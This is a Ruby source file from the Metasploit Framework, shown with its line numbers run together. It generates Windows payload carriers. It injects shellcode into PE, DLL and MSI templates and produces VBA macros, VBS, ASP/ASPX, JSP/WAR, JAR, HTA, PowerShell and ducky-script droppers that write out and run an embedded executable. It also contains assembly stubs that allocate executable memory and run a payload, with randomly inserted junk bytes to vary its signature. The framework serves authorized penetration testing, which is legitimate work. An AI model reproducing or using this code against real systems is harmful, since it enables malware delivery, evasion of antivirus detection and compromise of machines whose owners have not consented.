Path: blob/master/lib/msf/util/exe/windows/common.rb
57477 views
# -*- coding: binary -*-1module Msf::Util::EXE::Windows::Common2include Msf::Util::EXE::Common34def self.included(base)5base.extend(ClassMethods)6end78module ClassMethods9# exe_sub_method10#11# @param code [String]12# @param opts [Hash]13# @option opts [Symbol] :exe_type14# @option opts [String] :service_exe15# @option opts [Boolean] :sub_method16# @return [String]17def exe_sub_method(code,opts ={})18pe = self.get_file_contents(opts[:template])1920case opts[:exe_type]21when :service_exe22opts[:exe_max_sub_length] ||= 819223name = opts[:servicename]24if name25bo = pe.index('SERVICENAME')26unless bo27raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"28end29pe[bo, 11] = [name].pack('a11')30end31pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]32when :dll33opts[:exe_max_sub_length] ||= 409634when :exe_sub35opts[:exe_max_sub_length] ||= 409636end3738bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")3940if code.length <= opts.fetch(:exe_max_sub_length)41pe[bo, code.length] = [code].pack("a*")42else43raise RuntimeError, "The EXE generator now has a max size of " +44"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"45end4647if opts[:exe_type] == :dll48mt = pe.index('MUTEX!!!')49pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt50%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|51offset = pe.index(name)52pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset53end5455if opts[:dll_exitprocess]56exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"57exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"58et_index = pe.index(exit_thread)59if et_index60pe[et_index,exit_process.length] = exit_process61else62raise RuntimeError, "Unable to find and replace ExitThread in the DLL."63end64end65end6667pe68end6970# Clears the DYNAMIC_BASE flag for a Windows executable71#72# @param exe [String] The raw executable to be modified by the method73# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file74# @return [String] the modified executable75def clear_dynamic_base(exe, pe)76c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse77c_bits[6] = 0 # DYNAMIC_BASE78new_dllcharacteristics = c_bits.reverse.join.to_i(2)7980# PE Header Pointer offset = 60d81# SizeOfOptionalHeader offset = 94h82dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 9483exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")84exe85end8687# self.set_template_default_winpe_dll88#89# Set the default winpe DLL template. It will select the template based on the parameters provided including the size90# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.91#92# @param opts [Hash]93# @param arch The architecture, as one the predefined constants.94# @param size [Integer] The size of the payload.95# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'96def set_template_default_winpe_dll(opts, arch, size, flavor: nil)97return if opts[:template].present?9899# dynamic size upgrading is only available when MSF selects the template because there's currently no way to100# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB101match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }102if match103opts[:exe_max_sub_length] = match.first104size_suffix = match.last105end106107arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)108raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?109110if flavor.present?111unless %w[mixed_mode dccw_gdiplus].include?(flavor)112raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'113end114115flavor = '_' + flavor116end117118set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")119end120121122# Wraps an executable inside a Windows .msi file for auto execution when run123#124# @param framework [Msf::Framework] The framework of you want to use125# @param exe [String]126# @param opts [Hash]127# @option opts [String] :msi_template_path128# @option opts [String] :msi_template129# @return [String]130def to_exe_msi(framework, exe, opts = {})131if opts[:uac]132opts[:msi_template] ||= "template_windows.msi"133else134opts[:msi_template] ||= "template_nouac_windows.msi"135end136replace_msi_buffer(exe, opts)137end138139#self.replace_msi_buffer140#141# @param pe [String]142# @param opts [String]143# @option [String] :msi_template144# @option [String] :msi_template_path145# @return [String]146def replace_msi_buffer(pe, opts)147opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")148149if opts[:msi_template].include?(File::SEPARATOR)150template = opts[:msi_template]151else152template = File.join(opts[:msi_template_path], opts[:msi_template])153end154155msi = self.get_file_contents(template)156157section_size = 2**(msi[30..31].unpack('v')[0])158159# This table is one of the few cases where signed values are needed160sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')161162buffer_chain = []163164# This is closely coupled with the template provided and ideally165# would be calculated from the dir stream?166current_secid = 5167168until current_secid == -2169buffer_chain << current_secid170current_secid = sector_allocation_table[current_secid]171end172173buffer_size = buffer_chain.length * section_size174175if pe.size > buffer_size176raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"177end178179pe_block_start = 0180pe_block_end = pe_block_start + section_size - 1181182buffer_chain.each do |section|183block_start = section_size * (section + 1)184block_end = block_start + section_size - 1185pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")186msi[block_start..block_end] = pe_block187pe_block_start = pe_block_end + 1188pe_block_end += section_size189end190191msi192end193194# to_exe_vba195#196# @param exes [String]197def to_exe_vba(exes = '')198exe = exes.unpack('C*')199hash_sub = {}200idx = 0201maxbytes = 2000202var_base_idx = 0203var_base = Rex::Text.rand_text_alpha(5).capitalize204205# First write the macro into the vba file206hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize207hash_sub[:var_fname] = var_base + (var_base_idx += 1).to_s208hash_sub[:var_fenvi] = var_base + (var_base_idx += 1).to_s209hash_sub[:var_fhand] = var_base + (var_base_idx += 1).to_s210hash_sub[:var_parag] = var_base + (var_base_idx += 1).to_s211hash_sub[:var_itemp] = var_base + (var_base_idx += 1).to_s212hash_sub[:var_btemp] = var_base + (var_base_idx += 1).to_s213hash_sub[:var_appnr] = var_base + (var_base_idx += 1).to_s214hash_sub[:var_index] = var_base + (var_base_idx += 1).to_s215hash_sub[:var_gotmagic] = var_base + (var_base_idx += 1).to_s216hash_sub[:var_farg] = var_base + (var_base_idx += 1).to_s217hash_sub[:var_stemp] = var_base + (var_base_idx += 1).to_s218hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8..15))219220# Function 1 extracts the binary221hash_sub[:func_name1] = var_base + (var_base_idx += 1).to_s222223# Function 2 executes the binary224hash_sub[:func_name2] = var_base + (var_base_idx + 1).to_s225226hash_sub[:data] = ''227228# Writing the bytes of the exe to the file2291.upto(exe.length) do |_pc|230while (c = exe[idx])231hash_sub[:data] << "&H#{('%.2x' % c).upcase}"232if idx > 1 && (idx % maxbytes) == 0233# When maxbytes are written make a new paragrpah234hash_sub[:data] << "\r\n"235end236idx += 1237end238end239240read_replace_script_template('to_exe.vba.template', hash_sub)241end242243# to_vba244#245# @param framework [Msf::Framework]246# @param code [String]247# @param opts [Hash] Unused248def to_vba(framework, code, opts = {})249hash_sub = {}250hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize251hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize252hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize253hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize254hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize255hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize256hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize257hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize258hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize259hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize260hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize261hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize262hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize263hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize264hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize265hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize266hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize267hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize268269# put the shellcode bytes into an array270hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])271272read_replace_script_template('to_mem.vba.template', hash_sub)273end274275# to_powershell_vba276#277# @param framework [Msf::Framework]278# @param arch [String]279# @param code [String]280#281def to_powershell_vba(framework, arch, code)282template_path = Rex::Powershell::Templates::TEMPLATE_DIR283284powershell = Rex::Powershell::Command.cmd_psh_payload(code,285arch,286template_path,287encode_final_payload: true,288remove_comspec: true,289method: 'reflection')290291# Initialize rig and value names292rig = Rex::RandomIdentifier::Generator.new293rig.init_var(:sub_auto_open)294rig.init_var(:var_powershell)295296hash_sub = rig.to_h297# VBA has a maximum of 24 line continuations298line_length = powershell.length / 24299vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'300301hash_sub[:powershell] = vba_psh302303read_replace_script_template('to_powershell.vba.template', hash_sub)304end305306307# to_exe_vba308#309# @param exes [String]310# @param opts [Hash]311# @option opts [String] :delay312# @option opts [String] :persists313# @option opts [String] :exe_filename314def to_exe_vbs(exes = '', opts = {})315delay = opts[:delay] || 5316persist = opts[:persist] || false317318hash_sub = {}319hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8..15)) << '.exe'320hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8..15)) << '.b64'321hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8..15))322hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))323hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))324hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))325hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))326hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))327hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))328hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))329hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)330hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8..15))331hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8..15))332hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8..15))333hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8..15))334hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8..15))335hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8..15))336hash_sub[:init] = ''337338if persist339hash_sub[:init] << "Do\r\n"340hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"341hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"342hash_sub[:init] << "Loop\r\n"343else344hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"345end346347read_replace_script_template('to_exe.vbs.template', hash_sub)348end349350# to_exe_asp351#352# @param exes [String]353# @param opts [Hash] Unused354def to_exe_asp(exes = '', opts = {})355hash_sub = {}356hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4..7)) # repeated a large number of times, so keep this one small357hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))358hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))359hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8..15))360hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))361hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))362hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))363hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))364hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))365hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])366read_replace_script_template('to_exe.asp.template', hash_sub)367end368369# self.to_exe_aspx370#371# @param exes [String]372# @option opts [Hash]373def to_exe_aspx(exes = '', opts = {})374hash_sub = {}375hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8..15))376hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))377hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))378hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8..15))379hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))380hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8..15))381hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))382hash_sub[:shellcode] = Rex::Text.to_csharp(exes, 100, hash_sub[:var_file])383read_replace_script_template('to_exe.aspx.template', hash_sub)384end385386def to_mem_aspx(framework, code, exeopts = {})387# Initialize rig and value names388rig = Rex::RandomIdentifier::Generator.new389rig.init_var(:var_funcAddr)390rig.init_var(:var_hThread)391rig.init_var(:var_pInfo)392rig.init_var(:var_threadId)393rig.init_var(:var_bytearray)394395hash_sub = rig.to_h396hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])397398read_replace_script_template('to_mem.aspx.template', hash_sub)399end400401def to_win32pe_psh_net(framework, code, opts = {})402Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)403end404405def to_win32pe_psh(framework, code, opts = {})406Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)407end408409#410# Reflection technique prevents the temporary .cs file being created for the .NET compiler411# Tweaked by shellster412# Originally from PowerSploit413#414def to_win32pe_psh_reflection(framework, code, opts = {})415Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)416end417418def to_powershell_command(framework, arch, code)419template_path = Rex::Powershell::Templates::TEMPLATE_DIR420Rex::Powershell::Command.cmd_psh_payload(code,421arch,422template_path,423encode_final_payload: true,424method: 'reflection')425end426427def to_powershell_ducky_script(framework, arch, code)428template_path = Rex::Powershell::Templates::TEMPLATE_DIR429powershell = Rex::Powershell::Command.cmd_psh_payload(code,430arch,431template_path,432encode_final_payload: true,433method: 'reflection')434replacers = {}435replacers[:var_payload] = powershell436read_replace_script_template('to_powershell.ducky_script.template', replacers)437end438439def to_powershell_hta(framework, arch, code)440template_path = Rex::Powershell::Templates::TEMPLATE_DIR441442powershell = Rex::Powershell::Command.cmd_psh_payload(code,443arch,444template_path,445encode_final_payload: true,446remove_comspec: true,447method: 'reflection')448449# Initialize rig and value names450rig = Rex::RandomIdentifier::Generator.new451rig.init_var(:var_shell)452rig.init_var(:var_fso)453454hash_sub = rig.to_h455hash_sub[:powershell] = powershell456457read_replace_script_template('to_powershell.hta.template', hash_sub)458end459460def to_jsp(exe)461hash_sub = {}462hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8..15))463hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8..15))464hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8..15))465hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8..15))466hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8..15))467hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8..15))468hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8..15))469hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))470hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8..15))471hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8..15))472hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8..15))473474payload_hex = exe.unpack('H*')[0]475hash_sub[:payload] = payload_hex476477read_replace_script_template('to_exe.jsp.template', hash_sub)478end479480# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a481# payload. The jsp page converts the hexdump back to a normal binary file482# and places it in the temp directory. The payload file is then executed.483#484# @see to_war485# @param exe [String] Executable to drop and run.486# @param opts (see to_war)487# @option opts (see to_war)488# @return (see to_war)489def to_jsp_war(exe, opts = {})490template = to_jsp(exe)491to_war(template, opts)492end493494def to_win32pe_vbs(framework, code, opts = {})495to_exe_vbs(to_win32pe(framework, code, opts), opts)496end497498def to_win64pe_vbs(framework, code, opts = {})499to_exe_vbs(to_win64pe(framework, code, opts), opts)500end501502# Creates a jar file that drops the provided +exe+ into a random file name503# in the system's temp dir and executes it.504#505# @see Msf::Payload::Java506#507# @return [Rex::Zip::Jar]508def to_jar(exe, opts = {})509spawn = opts[:spawn] || 2510exe_name = Rex::Text.rand_text_alpha(8) + '.exe'511zip = Rex::Zip::Jar.new512zip.add_sub('metasploit') if opts[:random]513paths = [514[ 'metasploit', 'Payload.class' ],515]516517zip.add_file('metasploit/', '')518paths.each do |path_parts|519path = ['java', path_parts].flatten.join('/')520contents = ::MetasploitPayloads.read(path)521zip.add_file(path_parts.join('/'), contents)522end523524zip.build_manifest main_class: 'metasploit.Payload'525config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"526zip.add_file('metasploit.dat', config)527zip.add_file(exe_name, exe)528529zip530end531532# Creates a .NET DLL which loads data into memory533# at a specified location with read/execute permissions534# - the data will be loaded at: base+0x2065535# - default max size is 0x8000 (32768)536# @param base [Integer] Default location set to base 0x12340000537# @param data [String]538# @param opts [Hash]539# @option [String] :template540# @option [String] :base_offset541# @option [String] :timestamp_offset542# @option [String] :text_offset543# @option [String] :pack544# @option [String] :uuid_offset545# @return [String]546def to_dotnetmem(base = 0x12340000, data = '', opts = {})547# Allow the user to specify their own DLL template548set_template_default(opts, 'dotnetmem.dll')549550pe = get_file_contents(opts[:template])551552# Configure the image base553base_offset = opts[:base_offset] || 180554pe[base_offset, 4] = [base].pack('V')555556# Configure the TimeDateStamp557timestamp_offset = opts[:timestamp_offset] || 136558pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')559560# XXX: Unfortunately we cant make this RWX only RX561# Mark this segment as read-execute AND writable562# pe[412,4] = [0xe0000020].pack("V")563564# Write the data into the .text segment565text_offset = opts[:text_offset] || 0x1065566text_max = opts[:text_max] || 0x8000567pack = opts[:pack] || 'a32768'568pe[text_offset, text_max] = [data].pack(pack)569570# Generic a randomized UUID571uuid_offset = opts[:uuid_offset] || 37656572pe[uuid_offset, 16] = Rex::Text.rand_text(16)573574pe575end576577# This wrapper is responsible for allocating RWX memory, copying the578# target code there, setting an exception handler that calls ExitProcess579# and finally executing the code.580def win32_rwx_exec(code)581stub_block = Rex::Payloads::Shuffle.from_graphml_file(582File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),583arch: ARCH_X86,584name: 'api_call'585)586587stub_exit = %^588; Input: EBP must be the address of 'api_call'.589; Output: None.590; Clobbers: EAX, EBX, (ESP will also be modified)591; Note: Execution is not expected to (successfully) continue past this block592593exitfunk:594mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...595push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )596mov eax, ebp597call eax ; GetVersion(); (AL will = major version and AH will = minor version)598cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7599jl goodbye ; Then just call the exit function...600cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...601jne goodbye ;602mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread603goodbye: ; We now perform the actual call to the exit function604push byte 0 ; push the exit function parameter605push ebx ; push the hash of the exit function606call ebp ; call EXITFUNK( 0 );607^608609stub_alloc = %^610cld ; Clear the direction flag.611call start ; Call start, this pushes the address of 'api_call' onto the stack.612delta: ;613#{stub_block}614start: ;615pop ebp ; Pop off the address of 'api_call' for calling later.616617allocate_size:618mov esi, #{code.length}619620allocate:621push byte 0x40 ; PAGE_EXECUTE_READWRITE622push 0x1000 ; MEM_COMMIT623push esi ; Push the length value of the wrapped code block624push byte 0 ; NULL as we dont care where the allocation is.625push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )626call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );627628mov ebx, eax ; Store allocated address in ebx629mov edi, eax ; Prepare EDI with the new address630mov ecx, esi ; Prepare ECX with the length of the code631call get_payload632got_payload:633pop esi ; Prepare ESI with the source to copy634rep movsb ; Copy the payload to RWX memory635call set_handler ; Configure error handling636637exitblock:638#{stub_exit}639set_handler:640xor eax,eax641push dword [fs:eax]642mov dword [fs:eax], esp643call ebx644jmp exitblock645^646647stub_final = %(648get_payload:649call got_payload650payload:651; Append an arbitrary payload here652)653654stub_alloc.gsub!('short', '')655stub_alloc.gsub!('byte', '')656657wrapper = ''658# regs = %W{eax ebx ecx edx esi edi ebp}659660cnt_jmp = 0661stub_alloc.each_line do |line|662line.gsub!(/;.*/, '')663line.strip!664next if line.empty?665666wrapper << "nop\n" if rand(2) == 0667668if rand(2) == 0669wrapper << "jmp autojump#{cnt_jmp}\n"6701.upto(rand(8..15)) do671wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"672end673wrapper << "autojump#{cnt_jmp}:\n"674cnt_jmp += 1675end676wrapper << line + "\n"677end678679wrapper << stub_final680681enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded682enc.data + code683end684685# This wrapper is responsible for allocating RWX memory, copying the686# target code there, setting an exception handler that calls ExitProcess,687# starting the code in a new thread, and finally jumping back to the next688# code to execute. block_offset is the offset of the next code from689# the start of this code690def win32_rwx_exec_thread(code, block_offset, which_offset = 'start')691stub_block = Rex::Payloads::Shuffle.from_graphml_file(692File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),693arch: ARCH_X86,694name: 'api_call'695)696697stub_exit = %^698; Input: EBP must be the address of 'api_call'.699; Output: None.700; Clobbers: EAX, EBX, (ESP will also be modified)701; Note: Execution is not expected to (successfully) continue past this block702703exitfunk:704mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...705push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )706call ebp ; GetVersion(); (AL will = major version and AH will = minor version)707cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7708jl goodbye ; Then just call the exit function...709cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...710jne goodbye ;711mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread712goodbye: ; We now perform the actual call to the exit function713push byte 0 ; push the exit function parameter714push ebx ; push the hash of the exit function715call ebp ; call EXITFUNK( 0 );716^717718stub_alloc = %^719pushad ; Save registers720cld ; Clear the direction flag.721call start ; Call start, this pushes the address of 'api_call' onto the stack.722delta: ;723#{stub_block}724start: ;725pop ebp ; Pop off the address of 'api_call' for calling later.726727allocate_size:728mov esi,#{code.length}729730allocate:731push byte 0x40 ; PAGE_EXECUTE_READWRITE732push 0x1000 ; MEM_COMMIT733push esi ; Push the length value of the wrapped code block734push byte 0 ; NULL as we dont care where the allocation is.735push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )736call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );737738mov ebx, eax ; Store allocated address in ebx739mov edi, eax ; Prepare EDI with the new address740mov ecx, esi ; Prepare ECX with the length of the code741call get_payload742got_payload:743pop esi ; Prepare ESI with the source to copy744rep movsb ; Copy the payload to RWX memory745call set_handler ; Configure error handling746747exitblock:748#{stub_exit}749750set_handler:751xor eax,eax752; push dword [fs:eax]753; mov dword [fs:eax], esp754push eax ; LPDWORD lpThreadId (NULL)755push eax ; DWORD dwCreationFlags (0)756push eax ; LPVOID lpParameter (NULL)757push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)758push eax ; SIZE_T dwStackSize (0 for default)759push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)760push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )761call ebp ; Spawn payload thread762763pop eax ; Skip764; pop eax ; Skip765pop eax ; Skip766popad ; Get our registers back767; sub esp, 44 ; Move stack pointer back past the handler768^769770stub_final = %(771get_payload:772call got_payload773payload:774; Append an arbitrary payload here775)776777stub_alloc.gsub!('short', '')778stub_alloc.gsub!('byte', '')779780wrapper = ''781# regs = %W{eax ebx ecx edx esi edi ebp}782783cnt_jmp = 0784cnt_nop = 64785786stub_alloc.each_line do |line|787line.gsub!(/;.*/, '')788line.strip!789next if line.empty?790791if cnt_nop > 0 && rand(4) == 0792wrapper << "nop\n"793cnt_nop -= 1794end795796if cnt_nop > 0 && rand(16) == 0797cnt_nop -= 2798cnt_jmp += 1799800wrapper << "jmp autojump#{cnt_jmp}\n"8011.upto(rand(1..8)) do802wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"803cnt_nop -= 1804end805wrapper << "autojump#{cnt_jmp}:\n"806end807wrapper << line + "\n"808end809810# @TODO: someone who knows how to use metasm please explain the right way to do this.811wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"812wrapper << stub_final813814enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded815soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1816res = enc.data + code817818if which_offset == 'start'819res[soff, 4] = [block_offset - (soff + 4)].pack('V')820elsif which_offset == 'end'821res[soff, 4] = [res.length - (soff + 4) + block_offset].pack('V')822else823raise 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'824end825res826end827end828class << self829include ClassMethods830end831end832833834